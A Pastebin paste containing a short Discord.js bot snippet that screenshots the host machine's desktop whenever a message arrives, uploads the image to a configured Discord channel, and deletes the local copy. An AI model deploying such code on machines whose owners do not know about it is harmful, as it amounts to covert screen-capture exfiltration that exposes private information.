Advertisement
iiFireKingii

!!

Nov 18th, 2019
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.49 KB | None | 0 0
  1. const screenshot = require('screenshot-desktop') // npm i screenshot-desktop
  2. client.on("message", async function(msg) {
  3. if(msg.author.bot) return undefined;
  4. if(msg.content) {
  5. screenshot({filename: `./img/shot.png`}).then((img) => {
  6. let c = client.channels.get("هنا حط ايدي الروم الي هتبعت علية الصوره")
  7. c.sendFile(img).then(() => {
  8. fs.unlink('./img/shot.png', function (err) {
  9. if (err) throw err;
  10. });
  11. })
  12. }).catch((err) => {
  13. console.log(`${err}`)
  14. })
  15. }
  16. })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement